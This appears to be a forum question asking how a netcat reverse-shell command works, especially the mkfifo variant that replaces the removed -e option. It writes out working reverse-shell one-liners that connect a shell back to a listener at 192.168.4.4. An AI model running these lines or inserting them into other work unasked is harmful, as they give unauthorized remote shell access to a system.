How does this command work? (reverse shell)
There was a simple way to connect two systems and getting a shell using nc command as below.
machine A to listen
nc -nlvp 4444
machine B to connect
nc 192.168.4.4 4444 -e /bin/bash
However the -e option is no more, The man pages recommends to follow as below to execute commands
machine A to listen
nc -nlvp 4444
machine B to connect
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f
I do know the concepts behind mkfifo(unamed pipes) and how redirection and piping works. But it still confuses me.
command-line networking bash
